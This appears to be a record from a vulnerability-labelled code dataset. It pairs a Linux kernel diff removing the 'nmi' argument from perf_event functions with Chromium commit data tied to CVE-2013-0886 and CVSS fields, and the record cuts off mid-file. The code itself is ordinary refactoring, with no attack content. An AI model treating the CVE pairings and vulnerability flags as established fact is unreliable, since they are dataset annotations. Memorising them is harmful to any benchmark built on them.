"https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/mm/fault.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/x86/mm/fault.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -1059,7 +1059,7 @@ do_page_fault(struct pt_regs *regs, unsigned long error_code)\n \tif (unlikely(error_code & PF_RSVD))\n \t\tpgtable_bad(regs, error_code, address);\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \t/*\n \t * If we're in an interrupt, have no user context or are running\n@@ -1161,11 +1161,11 @@ do_page_fault(struct pt_regs *regs, unsigned long error_code)\n \tif (flags & FAULT_FLAG_ALLOW_RETRY) {\n \t\tif (fault & VM_FAULT_MAJOR) {\n \t\t\ttsk->maj_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,\n \t\t\t\t regs, address);\n \t\t} else {\n \t\t\ttsk->min_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,\n \t\t\t\t regs, address);\n \t\t}\n \t\tif (fault & VM_FAULT_RETRY) {"}<_**next**_>{"sha": "0946a8bc098dbfced946033c5e73be66b56ca634", "filename": "include/linux/perf_event.h", "status": "modified", "additions": 8, "deletions": 10, "changes": 18, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/include/linux/perf_event.h", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/include/linux/perf_event.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/include/linux/perf_event.h?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -682,7 +682,7 @@ enum perf_event_active_state {\n struct file;\n struct perf_sample_data;\n \n-typedef void (*perf_overflow_handler_t)(struct perf_event *, int,\n+typedef void (*perf_overflow_handler_t)(struct perf_event *,\n \t\t\t\t\tstruct perf_sample_data *,\n \t\t\t\t\tstruct pt_regs *regs);\n \n@@ -925,7 +925,6 @@ struct perf_output_handle {\n \tunsigned long\t\t\tsize;\n \tvoid\t\t\t\t*addr;\n \tint\t\t\t\tpage;\n-\tint\t\t\t\tnmi;\n \tint\t\t\t\tsample;\n };\n \n@@ -993,7 +992,7 @@ extern void perf_prepare_sample(struct perf_event_header *header,\n \t\t\t\tstruct perf_event *event,\n \t\t\t\tstruct pt_regs *regs);\n \n-extern int perf_event_overflow(struct perf_event *event, int nmi,\n+extern int perf_event_overflow(struct perf_event *event,\n \t\t\t\t struct perf_sample_data *data,\n \t\t\t\t struct pt_regs *regs);\n \n@@ -1012,7 +1011,7 @@ static inline int is_software_event(struct perf_event *event)\n \n extern struct jump_label_key perf_swevent_enabled[PERF_COUNT_SW_MAX];\n \n-extern void __perf_sw_event(u32, u64, int, struct pt_regs *, u64);\n+extern void __perf_sw_event(u32, u64, struct pt_regs *, u64);\n \n #ifndef perf_arch_fetch_caller_regs\n static inline void perf_arch_fetch_caller_regs(struct pt_regs *regs, unsigned long ip) { }\n@@ -1034,7 +1033,7 @@ static inline void perf_fetch_caller_regs(struct pt_regs *regs)\n }\n \n static __always_inline void\n-perf_sw_event(u32 event_id, u64 nr, int nmi, struct pt_regs *regs, u64 addr)\n+perf_sw_event(u32 event_id, u64 nr, struct pt_regs *regs, u64 addr)\n {\n \tstruct pt_regs hot_regs;\n \n@@ -1043,7 +1042,7 @@ perf_sw_event(u32 event_id, u64 nr, int nmi, struct pt_regs *regs, u64 addr)\n \t\t\tperf_fetch_caller_regs(&hot_regs);\n \t\t\tregs = &hot_regs;\n \t\t}\n-\t\t__perf_sw_event(event_id, nr, nmi, regs, addr);\n+\t\t__perf_sw_event(event_id, nr, regs, addr);\n \t}\n }\n \n@@ -1057,7 +1056,7 @@ static inline void perf_event_task_sched_in(struct task_struct *task)\n \n static inline void perf_event_task_sched_out(struct task_struct *task, struct task_struct *next)\n {\n-\tperf_sw_event(PERF_COUNT_SW_CONTEXT_SWITCHES, 1, 1, NULL, 0);\n+\tperf_sw_event(PERF_COUNT_SW_CONTEXT_SWITCHES, 1, NULL, 0);\n \n \t__perf_event_task_sched_out(task, next);\n }\n@@ -1119,7 +1118,7 @@ extern void perf_bp_event(struct perf_event *event, void *data);\n \n extern int perf_output_begin(struct perf_output_handle *handle,\n \t\t\t struct perf_event *event, unsigned int size,\n-\t\t\t int nmi, int sample);\n+\t\t\t int sample);\n extern void perf_output_end(struct perf_output_handle *handle);\n extern void perf_output_copy(struct perf_output_handle *handle,\n \t\t\t const void *buf, unsigned int len);\n@@ -1143,8 +1142,7 @@ static inline int perf_event_task_disable(void)\t\t\t\t{ return -EINVAL; }\n static inline int perf_event_task_enable(void)\t\t\t\t{ return -EINVAL; }\n \n static inline void\n-perf_sw_event(u32 event_id, u64 nr, int nmi,\n-\t\t struct pt_regs *regs, u64 addr)\t\t\t{ }\n+perf_sw_event(u32 event_id, u64 nr, struct pt_regs *regs, u64 addr)\t{ }\n static inline void\n perf_bp_event(struct perf_event *event, void *data)\t\t\t{ }\n "}<_**next**_>{"sha": "dbd1ca75bd3cb36472877829c896621baf76d924", "filename": "kernel/events/core.c", "status": "modified", "additions": 28, "deletions": 35, "changes": 63, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/events/core.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/events/core.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/kernel/events/core.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -3972,7 +3972,7 @@ void perf_prepare_sample(struct perf_event_header *header,\n \t}\n }\n \n-static void perf_event_output(struct perf_event *event, int nmi,\n+static void perf_event_output(struct perf_event *event,\n \t\t\t\tstruct perf_sample_data *data,\n \t\t\t\tstruct pt_regs *regs)\n {\n@@ -3984,7 +3984,7 @@ static void perf_event_output(struct perf_event *event, int nmi,\n \n \tperf_prepare_sample(&header, data, event, regs);\n \n-\tif (perf_output_begin(&handle, event, header.size, nmi, 1))\n+\tif (perf_output_begin(&handle, event, header.size, 1))\n \t\tgoto exit;\n \n \tperf_output_sample(&handle, &header, data, event);\n@@ -4024,7 +4024,7 @@ perf_event_read_event(struct perf_event *event,\n \tint ret;\n \n \tperf_event_header__init_id(&read_event.header, &sample, event);\n-\tret = perf_output_begin(&handle, event, read_event.header.size, 0, 0);\n+\tret = perf_output_begin(&handle, event, read_event.header.size, 0);\n \tif (ret)\n \t\treturn;\n \n@@ -4067,7 +4067,7 @@ static void perf_event_task_output(struct perf_event *event,\n \tperf_event_header__init_id(&task_event->event_id.header, &sample, event);\n \n \tret = perf_output_begin(&handle, event,\n-\t\t\t\ttask_event->event_id.header.size, 0, 0);\n+\t\t\t\ttask_event->event_id.header.size, 0);\n \tif (ret)\n \t\tgoto out;\n \n@@ -4204,7 +4204,7 @@ static void perf_event_comm_output(struct perf_event *event,\n \n \tperf_event_header__init_id(&comm_event->event_id.header, &sample, event);\n \tret = perf_output_begin(&handle, event,\n-\t\t\t\tcomm_event->event_id.header.size, 0, 0);\n+\t\t\t\tcomm_event->event_id.header.size, 0);\n \n \tif (ret)\n \t\tgoto out;\n@@ -4351,7 +4351,7 @@ static void perf_event_mmap_output(struct perf_event *event,\n \n \tperf_event_header__init_id(&mmap_event->event_id.header, &sample, event);\n \tret = perf_output_begin(&handle, event,\n-\t\t\t\tmmap_event->event_id.header.size, 0, 0);\n+\t\t\t\tmmap_event->event_id.header.size, 0);\n \tif (ret)\n \t\tgoto out;\n \n@@ -4546,7 +4546,7 @@ static void perf_log_throttle(struct perf_event *event, int enable)\n \tperf_event_header__init_id(&throttle_event.header, &sample, event);\n \n \tret = perf_output_begin(&handle, event,\n-\t\t\t\tthrottle_event.header.size, 1, 0);\n+\t\t\t\tthrottle_event.header.size, 0);\n \tif (ret)\n \t\treturn;\n \n@@ -4559,7 +4559,7 @@ static void perf_log_throttle(struct perf_event *event, int enable)\n * Generic event overflow handling, sampling.\n */\n \n-static int __perf_event_overflow(struct perf_event *event, int nmi,\n+static int __perf_event_overflow(struct perf_event *event,\n \t\t\t\t int throttle, struct perf_sample_data *data,\n \t\t\t\t struct pt_regs *regs)\n {\n@@ -4602,34 +4602,28 @@ static int __perf_event_overflow(struct perf_event *event, int nmi,\n \tif (events && atomic_dec_and_test(&event->event_limit)) {\n \t\tret = 1;\n \t\tevent->pending_kill = POLL_HUP;\n-\t\tif (nmi) {\n-\t\t\tevent->pending_disable = 1;\n-\t\t\tirq_work_queue(&event->pending);\n-\t\t} else\n-\t\t\tperf_event_disable(event);\n+\t\tevent->pending_disable = 1;\n+\t\tirq_work_queue(&event->pending);\n \t}\n \n \tif (event->overflow_handler)\n-\t\tevent->overflow_handler(event, nmi, data, regs);\n+\t\tevent->overflow_handler(event, data, regs);\n \telse\n-\t\tperf_event_output(event, nmi, data, regs);\n+\t\tperf_event_output(event, data, regs);\n \n \tif (event->fasync && event->pending_kill) {\n-\t\tif (nmi) {\n-\t\t\tevent->pending_wakeup = 1;\n-\t\t\tirq_work_queue(&event->pending);\n-\t\t} else\n-\t\t\tperf_event_wakeup(event);\n+\t\tevent->pending_wakeup = 1;\n+\t\tirq_work_queue(&event->pending);\n \t}\n \n \treturn ret;\n }\n \n-int perf_event_overflow(struct perf_event *event, int nmi,\n+int perf_event_overflow(struct perf_event *event,\n \t\t\t struct perf_sample_data *data,\n \t\t\t struct pt_regs *regs)\n {\n-\treturn __perf_event_overflow(event, nmi, 1, data, regs);\n+\treturn __perf_event_overflow(event, 1, data, regs);\n }\n \n /*\n@@ -4678,7 +4672,7 @@ static u64 perf_swevent_set_period(struct perf_event *event)\n }\n \n static void perf_swevent_overflow(struct perf_event *event, u64 overflow,\n-\t\t\t\t int nmi, struct perf_sample_data *data,\n+\t\t\t\t struct perf_sample_data *data,\n \t\t\t\t struct pt_regs *regs)\n {\n \tstruct hw_perf_event *hwc = &event->hw;\n@@ -4692,7 +4686,7 @@ static void perf_swevent_overflow(struct perf_event *event, u64 overflow,\n \t\treturn;\n \n \tfor (; overflow; overflow--) {\n-\t\tif (__perf_event_overflow(event, nmi, throttle,\n+\t\tif (__perf_event_overflow(event, throttle,\n \t\t\t\t\t data, regs)) {\n \t\t\t/*\n \t\t\t * We inhibit the overflow from happening when\n@@ -4705,7 +4699,7 @@ static void perf_swevent_overflow(struct perf_event *event, u64 overflow,\n }\n \n static void perf_swevent_event(struct perf_event *event, u64 nr,\n-\t\t\t int nmi, struct perf_sample_data *data,\n+\t\t\t struct perf_sample_data *data,\n \t\t\t struct pt_regs *regs)\n {\n \tstruct hw_perf_event *hwc = &event->hw;\n@@ -4719,12 +4713,12 @@ static void perf_swevent_event(struct perf_event *event, u64 nr,\n \t\treturn;\n \n \tif (nr == 1 && hwc->sample_period == 1 && !event->attr.freq)\n-\t\treturn perf_swevent_overflow(event, 1, nmi, data, regs);\n+\t\treturn perf_swevent_overflow(event, 1, data, regs);\n \n \tif (local64_add_negative(nr, &hwc->period_left))\n \t\treturn;\n \n-\tperf_swevent_overflow(event, 0, nmi, data, regs);\n+\tperf_swevent_overflow(event, 0, data, regs);\n }\n \n static int perf_exclude_event(struct perf_event *event,\n@@ -4812,7 +4806,7 @@ find_swevent_head(struct swevent_htable *swhash, struct perf_event *event)\n }\n \n static void do_perf_sw_event(enum perf_type_id type, u32 event_id,\n-\t\t\t\t u64 nr, int nmi,\n+\t\t\t\t u64 nr,\n \t\t\t\t struct perf_sample_data *data,\n \t\t\t\t struct pt_regs *regs)\n {\n@@ -4828,7 +4822,7 @@ static void do_perf_sw_event(enum perf_type_id type, u32 event_id,\n \n \thlist_for_each_entry_rcu(event, node, head, hlist_entry) {\n \t\tif (perf_swevent_match(event, type, event_id, data, regs))\n-\t\t\tperf_swevent_event(event, nr, nmi, data, regs);\n+\t\t\tperf_swevent_event(event, nr, data, regs);\n \t}\n end:\n \trcu_read_unlock();\n@@ -4849,8 +4843,7 @@ inline void perf_swevent_put_recursion_context(int rctx)\n \tput_recursion_context(swhash->recursion, rctx);\n }\n \n-void __perf_sw_event(u32 event_id, u64 nr, int nmi,\n-\t\t\t struct pt_regs *regs, u64 addr)\n+void __perf_sw_event(u32 event_id, u64 nr, struct pt_regs *regs, u64 addr)\n {\n \tstruct perf_sample_data data;\n \tint rctx;\n@@ -4862,7 +4855,7 @@ void __perf_sw_event(u32 event_id, u64 nr, int nmi,\n \n \tperf_sample_data_init(&data, addr);\n \n-\tdo_perf_sw_event(PERF_TYPE_SOFTWARE, event_id, nr, nmi, &data, regs);\n+\tdo_perf_sw_event(PERF_TYPE_SOFTWARE, event_id, nr, &data, regs);\n \n \tperf_swevent_put_recursion_context(rctx);\n \tpreempt_enable_notrace();\n@@ -5110,7 +5103,7 @@ void perf_tp_event(u64 addr, u64 count, void *record, int entry_size,\n \n \thlist_for_each_entry_rcu(event, node, head, hlist_entry) {\n \t\tif (perf_tp_event_match(event, &data, regs))\n-\t\t\tperf_swevent_event(event, count, 1, &data, regs);\n+\t\t\tperf_swevent_event(event, count, &data, regs);\n \t}\n \n \tperf_swevent_put_recursion_context(rctx);\n@@ -5203,7 +5196,7 @@ void perf_bp_event(struct perf_event *bp, void *data)\n \tperf_sample_data_init(&sample, bp->attr.bp_addr);\n \n \tif (!bp->hw.state && !perf_exclude_event(bp, regs))\n-\t\tperf_swevent_event(bp, 1, 1, &sample, regs);\n+\t\tperf_swevent_event(bp, 1, &sample, regs);\n }\n #endif\n \n@@ -5232,7 +5225,7 @@ static enum hrtimer_restart perf_swevent_hrtimer(struct hrtimer *hrtimer)\n \n \tif (regs && !perf_exclude_event(event, regs)) {\n \t\tif (!(event->attr.exclude_idle && current->pid == 0))\n-\t\t\tif (perf_event_overflow(event, 0, &data, regs))\n+\t\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\t\tret = HRTIMER_NORESTART;\n \t}\n "}<_**next**_>{"sha": "09097dd8116c0e0bf5120d4da26c5f539a7f600a", "filename": "kernel/events/internal.h", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/events/internal.h", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/events/internal.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/kernel/events/internal.h?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -27,7 +27,6 @@ struct ring_buffer {\n \tvoid\t\t\t\t*data_pages[0];\n };\n \n-\n extern void rb_free(struct ring_buffer *rb);\n extern struct ring_buffer *\n rb_alloc(int nr_pages, long watermark, int cpu, int flags);"}<_**next**_>{"sha": "8b3b73630fa4c35add61468a9903985de64b6a3b", "filename": "kernel/events/ring_buffer.c", "status": "modified", "additions": 3, "deletions": 7, "changes": 10, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/events/ring_buffer.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/events/ring_buffer.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/kernel/events/ring_buffer.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -38,11 +38,8 @@ static void perf_output_wakeup(struct perf_output_handle *handle)\n {\n \tatomic_set(&handle->rb->poll, POLL_IN);\n \n-\tif (handle->nmi) {\n-\t\thandle->event->pending_wakeup = 1;\n-\t\tirq_work_queue(&handle->event->pending);\n-\t} else\n-\t\tperf_event_wakeup(handle->event);\n+\thandle->event->pending_wakeup = 1;\n+\tirq_work_queue(&handle->event->pending);\n }\n \n /*\n@@ -102,7 +99,7 @@ static void perf_output_put_handle(struct perf_output_handle *handle)\n \n int perf_output_begin(struct perf_output_handle *handle,\n \t\t struct perf_event *event, unsigned int size,\n-\t\t int nmi, int sample)\n+\t\t int sample)\n {\n \tstruct ring_buffer *rb;\n \tunsigned long tail, offset, head;\n@@ -127,7 +124,6 @@ int perf_output_begin(struct perf_output_handle *handle,\n \n \thandle->rb\t= rb;\n \thandle->event\t= event;\n-\thandle->nmi\t= nmi;\n \thandle->sample\t= sample;\n \n \tif (!rb->nr_pages)"}<_**next**_>{"sha": "d08d110b8976407a70643ff71223974f296edfaa", "filename": "kernel/sched.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/sched.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/sched.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/kernel/sched.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -2220,7 +2220,7 @@ void set_task_cpu(struct task_struct *p, unsigned int new_cpu)\n \n \tif (task_cpu(p) != new_cpu) {\n \t\tp->se.nr_migrations++;\n-\t\tperf_sw_event(PERF_COUNT_SW_CPU_MIGRATIONS, 1, 1, NULL, 0);\n+\t\tperf_sw_event(PERF_COUNT_SW_CPU_MIGRATIONS, 1, NULL, 0);\n \t}\n \n \t__set_task_cpu(p, new_cpu);"}<_**next**_>{"sha": "a6708e677a0af11db15af1b65b40c7d7951df772", "filename": "kernel/watchdog.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/watchdog.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/kernel/watchdog.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/kernel/watchdog.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -211,7 +211,7 @@ static struct perf_event_attr wd_hw_attr = {\n };\n \n /* Callback function for perf event subsystem */\n-static void watchdog_overflow_callback(struct perf_event *event, int nmi,\n+static void watchdog_overflow_callback(struct perf_event *event,\n \t\t struct perf_sample_data *data,\n \t\t struct pt_regs *regs)\n {"}<_**next**_>{"sha": "7b164d3200ffe8061b63d33603c3f11b1b3e82f9", "filename": "samples/hw_breakpoint/data_breakpoint.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/samples/hw_breakpoint/data_breakpoint.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/samples/hw_breakpoint/data_breakpoint.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/samples/hw_breakpoint/data_breakpoint.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -41,7 +41,7 @@ module_param_string(ksym, ksym_name, KSYM_NAME_LEN, S_IRUGO);\n MODULE_PARM_DESC(ksym, \"Kernel symbol to monitor; this module will report any\"\n \t\t\t\" write operations on the kernel symbol\");\n \n-static void sample_hbp_handler(struct perf_event *bp, int nmi,\n+static void sample_hbp_handler(struct perf_event *bp,\n \t\t\t struct perf_sample_data *data,\n \t\t\t struct pt_regs *regs)\n {"}
|
static inline void x86_pmu_read(struct perf_event *event)
{
x86_perf_event_update(event);
}
|
static inline void x86_pmu_read(struct perf_event *event)
{
x86_perf_event_update(event);
}
|
C
| null | null | null |
@@ -1339,7 +1339,7 @@ static int x86_pmu_handle_irq(struct pt_regs *regs)
if (!x86_perf_event_set_period(event))
continue;
- if (perf_event_overflow(event, 1, &data, regs))
+ if (perf_event_overflow(event, &data, regs))
x86_pmu_stop(event, 0);
}
|
linux
|
a8b0ca17b80e92faab46ee7179ba9e99ccb61233
|
1880c4ae182afb5650c5678949ecfe7ff66a724e
| 0
|
static inline void x86_pmu_read(struct perf_event *event)
{
x86_perf_event_update(event);
}
|
122,925
| null |
Remote
|
Not required
|
Partial
|
CVE-2013-0886
|
https://www.cvedetails.com/cve/CVE-2013-0886/
| null |
Low
|
Partial
|
Partial
| null |
2013-02-23
| 7.5
|
Google Chrome before 25.0.1364.99 on Mac OS X does not properly implement signal handling for Native Client (aka NaCl) code, which has unspecified impact and attack vectors.
|
2013-04-10
| null | 0
|
https://github.com/chromium/chromium/commit/18d67244984a574ba2dd8779faabc0e3e34f4b76
|
18d67244984a574ba2dd8779faabc0e3e34f4b76
|
Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
content/browser/renderer_host/render_process_host_impl.cc
|
{"sha": "0ed9ae5db1a7c0de558f98ad90da03e07b6b640f", "filename": "content/browser/browser_plugin/browser_plugin_guest.cc", "status": "modified", "additions": 0, "deletions": 4, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/browser_plugin/browser_plugin_guest.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/browser_plugin/browser_plugin_guest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/browser_plugin/browser_plugin_guest.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -353,10 +353,6 @@ void BrowserPluginGuest::SetCompositingBufferData(int gpu_process_id,\n surface_handle_ = gfx::GLSurfaceHandle(gfx::kNullPluginWindow, true);\n surface_handle_.parent_gpu_process_id = gpu_process_id;\n surface_handle_.parent_client_id = client_id;\n- surface_handle_.parent_context_id = context_id;\n- surface_handle_.parent_texture_id[0] = texture_id_0;\n- surface_handle_.parent_texture_id[1] = texture_id_1;\n- surface_handle_.sync_point = sync_point;\n }\n \n bool BrowserPluginGuest::InAutoSizeBounds(const gfx::Size& size) const {"}<_**next**_>{"sha": "d690719263d6560886ef242d5a754f50bb3081ce", "filename": "content/browser/gpu/gpu_process_host.cc", "status": "modified", "additions": 10, "deletions": 8, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/gpu/gpu_process_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/gpu/gpu_process_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/gpu/gpu_process_host.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -100,7 +100,7 @@ void SendGpuProcessMessage(GpuProcessHost::GpuProcessKind kind,\n void AcceleratedSurfaceBuffersSwappedCompletedForGPU(int host_id,\n int route_id,\n bool alive,\n- bool did_swap) {\n+ uint64 surface_handle) {\n if (!BrowserThread::CurrentlyOn(BrowserThread::IO)) {\n BrowserThread::PostTask(\n BrowserThread::IO,\n@@ -109,15 +109,15 @@ void AcceleratedSurfaceBuffersSwappedCompletedForGPU(int host_id,\n host_id,\n route_id,\n alive,\n- did_swap));\n+ surface_handle));\n return;\n }\n \n GpuProcessHost* host = GpuProcessHost::FromID(host_id);\n if (host) {\n if (alive)\n host->Send(new AcceleratedSurfaceMsg_BufferPresented(\n- route_id, did_swap, 0));\n+ route_id, surface_handle, 0));\n else\n host->ForceShutdown();\n }\n@@ -159,11 +159,12 @@ void AcceleratedSurfaceBuffersSwappedCompletedForRenderer(\n void AcceleratedSurfaceBuffersSwappedCompleted(int host_id,\n int route_id,\n int surface_id,\n+ uint64 surface_handle,\n bool alive,\n base::TimeTicks timebase,\n base::TimeDelta interval) {\n AcceleratedSurfaceBuffersSwappedCompletedForGPU(host_id, route_id,\n- alive, true /* presented */);\n+ alive, surface_handle);\n AcceleratedSurfaceBuffersSwappedCompletedForRenderer(surface_id, timebase,\n interval);\n }\n@@ -704,7 +705,7 @@ void GpuProcessHost::OnAcceleratedSurfaceBuffersSwapped(\n base::ScopedClosureRunner scoped_completion_runner(\n base::Bind(&AcceleratedSurfaceBuffersSwappedCompletedForGPU,\n host_id_, params.route_id,\n- true /* alive */, false /* presented */));\n+ true /* alive */, params.surface_handle));\n \n int render_process_id = 0;\n int render_widget_id = 0;\n@@ -739,8 +740,8 @@ void GpuProcessHost::OnAcceleratedSurfaceBuffersSwapped(\n \n base::ScopedClosureRunner scoped_completion_runner(\n base::Bind(&AcceleratedSurfaceBuffersSwappedCompleted,\n- host_id_, params.route_id, params.surface_id,\n- true, base::TimeTicks(), base::TimeDelta()));\n+ host_id_, params.route_id, params.surface_id, params.surface_handle,\n+ true, base::TimeTicks(), base::TimeDelta()));\n \n gfx::PluginWindowHandle handle =\n GpuSurfaceTracker::Get()->GetSurfaceWindowHandle(params.surface_id);\n@@ -772,7 +773,8 @@ void GpuProcessHost::OnAcceleratedSurfaceBuffersSwapped(\n base::Bind(&AcceleratedSurfaceBuffersSwappedCompleted,\n host_id_,\n params.route_id,\n- params.surface_id));\n+ params.surface_id,\n+ params.surface_handle));\n }\n \n void GpuProcessHost::OnAcceleratedSurfacePostSubBuffer("}<_**next**_>{"sha": "d194ba26d3cea0818f93e681381a18e84c63aabb", "filename": "content/browser/gpu/gpu_process_host_ui_shim.cc", "status": "modified", "additions": 19, "deletions": 4, "changes": 23, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/gpu/gpu_process_host_ui_shim.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/gpu/gpu_process_host_ui_shim.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/gpu/gpu_process_host_ui_shim.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -31,6 +31,11 @@\n #include <gdk/gdkx.h> // NOLINT\n #endif\n \n+// From gl2/gl2ext.h.\n+#ifndef GL_MAILBOX_SIZE_CHROMIUM\n+#define GL_MAILBOX_SIZE_CHROMIUM 64\n+#endif\n+\n namespace content {\n \n namespace {\n@@ -302,8 +307,14 @@ void GpuProcessHostUIShim::OnAcceleratedSurfaceNew(\n params.surface_id);\n if (!view)\n return;\n+\n+ if (params.mailbox_name.length() &&\n+ params.mailbox_name.length() != GL_MAILBOX_SIZE_CHROMIUM)\n+ return;\n+\n view->AcceleratedSurfaceNew(\n- params.width, params.height, params.surface_handle);\n+ params.width, params.height, params.surface_handle,\n+ params.mailbox_name);\n }\n \n static base::TimeDelta GetSwapDelay() {\n@@ -323,7 +334,9 @@ void GpuProcessHostUIShim::OnAcceleratedSurfaceBuffersSwapped(\n \n ScopedSendOnIOThread delayed_send(\n host_id_,\n- new AcceleratedSurfaceMsg_BufferPresented(params.route_id, false, 0));\n+ new AcceleratedSurfaceMsg_BufferPresented(params.route_id,\n+ params.surface_handle,\n+ 0));\n \n RenderWidgetHostViewPort* view = GetRenderWidgetHostViewFromSurfaceID(\n params.surface_id);\n@@ -347,7 +360,9 @@ void GpuProcessHostUIShim::OnAcceleratedSurfacePostSubBuffer(\n \n ScopedSendOnIOThread delayed_send(\n host_id_,\n- new AcceleratedSurfaceMsg_BufferPresented(params.route_id, false, 0));\n+ new AcceleratedSurfaceMsg_BufferPresented(params.route_id,\n+ params.surface_handle,\n+ 0));\n \n RenderWidgetHostViewPort* view =\n GetRenderWidgetHostViewFromSurfaceID(params.surface_id);\n@@ -378,7 +393,7 @@ void GpuProcessHostUIShim::OnAcceleratedSurfaceRelease(\n params.surface_id);\n if (!view)\n return;\n- view->AcceleratedSurfaceRelease(params.identifier);\n+ view->AcceleratedSurfaceRelease();\n }\n \n void GpuProcessHostUIShim::OnVideoMemoryUsageStatsReceived("}<_**next**_>{"sha": "63859e70ed1b438ac3428e2f1d0fba706f6a610a", "filename": "content/browser/renderer_host/image_transport_factory.cc", "status": "modified", "additions": 54, "deletions": 55, "changes": 109, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory.cc", "contents_url": 